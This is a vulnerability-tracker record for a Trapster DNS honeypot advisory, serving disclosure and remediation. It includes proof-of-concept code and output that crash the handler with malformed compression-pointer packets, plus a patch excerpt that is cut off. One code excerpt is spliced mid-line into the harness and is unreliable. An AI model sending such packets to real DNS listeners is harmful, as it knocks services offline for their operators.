KEVWire

Security intelligence, with context.

Response snapshot Nov 7, 2026, 20:21 UTC

Back to the wire
Permalink
VulnerabilityGHSA-mxwc-wh95-pw4g

Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler

trapster.libs.dns.decode_labels() decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound.

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: trapster: 1.2.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-mxwc-wh95-pw4g (opens a new tab)

What happened

Summary

trapster.libs.dns.decode_labels() decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising RecursionError.

That exception is not handled anywhere on the datagram_received path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).

Severity

Continue reading

Medium (CVSS:3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.

Affected component

- File: trapster/libs/dns.py, function decode_labels() (called by decode_question_section → decode_dns_message). - Reached from: trapster/modules/dns.py, DnsUdpProtocol.datagram_received() → dns.decode_dns_message(data), where data is the raw attacker UDP payload received by DnsHoneypot on its configured bind address/port. - Version tested: latest main at commit 23156739de23816657cbc4582ad32094ed1cab43.

Details

decode_labels implements RFC 1035 §4.1.4 name compression:

def decode_labels(message, offset):
 labels = []
 while True:
 length, = struct.unpack_from("!B", message, offset)
 if (length & 0xC0) == 0xC0:
 pointer, = struct.unpack_from("!H", message, offset)
 offset += 2
 return labels + decode_labels(message, pointer & 0x3FFF), offset # benign packet parsed cleanly, no exception\n")

 print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
 captured_loop_exceptions.clear(); pkt = build_self_pointer()
 print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
 send_udp(pkt); await asyncio.sleep(0.5)
 print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
 for e in captured_loop_exceptions: print(f" {e}")
 assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
 print(" -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")

 print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
 captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)
 print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
 send_udp(pkt); await asyncio.sleep(0.5)
 print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
 for e in captured_loop_exceptions: print(f" {e}")
 assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
 print(" -> RecursionError escaped datagram_received (DoS, no depth bound)\n")

 await hp.stop(); print("ALL ASSERTIONS PASSED")

if __name__ == "__main__":
 sys.setrecursionlimit(1000)
 asyncio.run(main())

Verbatim run against the deployed honeypot at commit 23156739de23816657cbc4582ad32094ed1cab43:

[deploy] DnsHoneypot listening on udp://127.0.0.1:15353

=== NEGATIVE CONTROL: benign query example.com A ===
 loop exceptions after benign packet: 0
 -> benign packet parsed cleanly, no exception

=== VECTOR A: single self-referential compression pointer (cycle) ===
 packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
 loop exceptions captured: 1
 ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
 -> RecursionError escaped datagram_received (DoS, no cycle guard)

=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===
 packet (4019 bytes) = 2000-deep forward pointer chain
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
 loop exceptions captured: 1
 ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
 -> RecursionError escaped datagram_received (DoS, no depth bound)

ALL ASSERTIONS PASSED

The negative control (a well-formed example.com A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.

Impact

Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution.

Suggested fix

Make decode_labels iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors dnspython's biggest_pointer design and the zeroconf depth-bound fix.) Replace the bare raise "unknown label encoding" with a real exception, and consider wrapping dns.

decode_dns_message(data) in DnsUdpProtocol.datagram_received in a try/except so a malformed packet is logged once rather than escaping to the loop handler.

Verified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to ValueError with no recursion):

def decode_labels(message, offset):
 labels = []
 return_offset = None
 max_allowed_pointer = len(message)
 while True:
 length, = struct.unpack_from("!B", message, offset)
 if (length & 0xC0) == 0xC0:
 pointer, = struct.unpack_from("!H", message, offset)
 if return_offset is None:
 return_offset = offset + 2
 target = pointer & 0x3FFF
 if target >= max_allowed_pointer:
 raise ValueError("invalid DNS compression pointer")
 max_allowed_pointer = target
 offset = target
 continue
 if (length & 0xC0) != 0x00:
 raise ValueError("unk

Affected package ranges reported by GitHub:
trapster: < 1.2.2

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-mxwc-wh95-pw4g (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-mxwc-wh95-pw4g, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 6). Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler. https://kevwire.com/record/GHSA-mxwc-wh95-pw4g

MLA

"Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler." KEVWire, 6 Nov. 2026, kevwire.com/record/GHSA-mxwc-wh95-pw4g.

Chicago

KEVWire. "Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler." Last modified November 6, 2026. https://kevwire.com/record/GHSA-mxwc-wh95-pw4g.

Evidence summary (plain text)

Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler (Jul 8, 2026).
trapster.libs.dns.decode_labels() decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising RecursionError.
Sources:
GitHub-reviewed advisory GHSA-mxwc-wh95-pw4g: https://github.com/advisories/GHSA-mxwc-wh95-pw4g
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-mxwc-wh95-pw4g.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 7, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail